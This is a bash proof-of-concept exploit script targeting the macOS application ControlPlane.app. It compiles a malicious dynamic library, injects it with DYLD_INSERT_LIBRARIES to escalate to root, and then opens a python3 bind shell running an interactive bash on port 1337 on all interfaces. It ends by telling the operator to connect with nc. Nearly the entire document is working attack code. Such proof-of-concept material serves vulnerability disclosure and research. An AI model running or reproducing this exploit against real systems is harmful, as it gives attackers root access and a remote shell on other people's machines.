#!/bin/bash

# Listening port.
PORT=1337

# File to check the success of the exploit.
CHECK_FILE="/tmp/POC.$PORT"

# Action performed as root.
if [ "$(id -u)" -eq 0 ]; then
  id > $CHECK_FILE
  # macOS bind shell using python3.
  python3 -c "import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('0.0.0.0',$PORT));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
fi

# Preparing the build environment.
cd /tmp

# Compilation of the malicious library.
cd Sources
clang -w -arch x86_64 -dynamiclib \
  -framework Foundation \
  -framework Security \
  -IAuthorizationLib \
  AuthorizationLib/BetterAuthorizationSampleLib.c \
  exploit.m \
  -o exploit.dylib

# kill application `ControlPlane.app`.
osascript -e 'quit app "ControlPlane.app"'

# Library injection, which automatically exploits both vulnerabilities.
DYLD_INSERT_LIBRARIES=./exploit.dylib /Applications/ControlPlane.app/Contents/MacOS/ControlPlane &

sleep 5

# Check the success of the exploit.
if [ -e "$CHECK_FILE" ]; then
    echo "[+] Exploit succeed."
    echo "[+] Run: $ nc 127.0.0.1 $PORT"
else
    echo "[x] Exploit failed."
fi

# We clean up after launching the exploit whatever happens.
bash /tmp/clean.sh
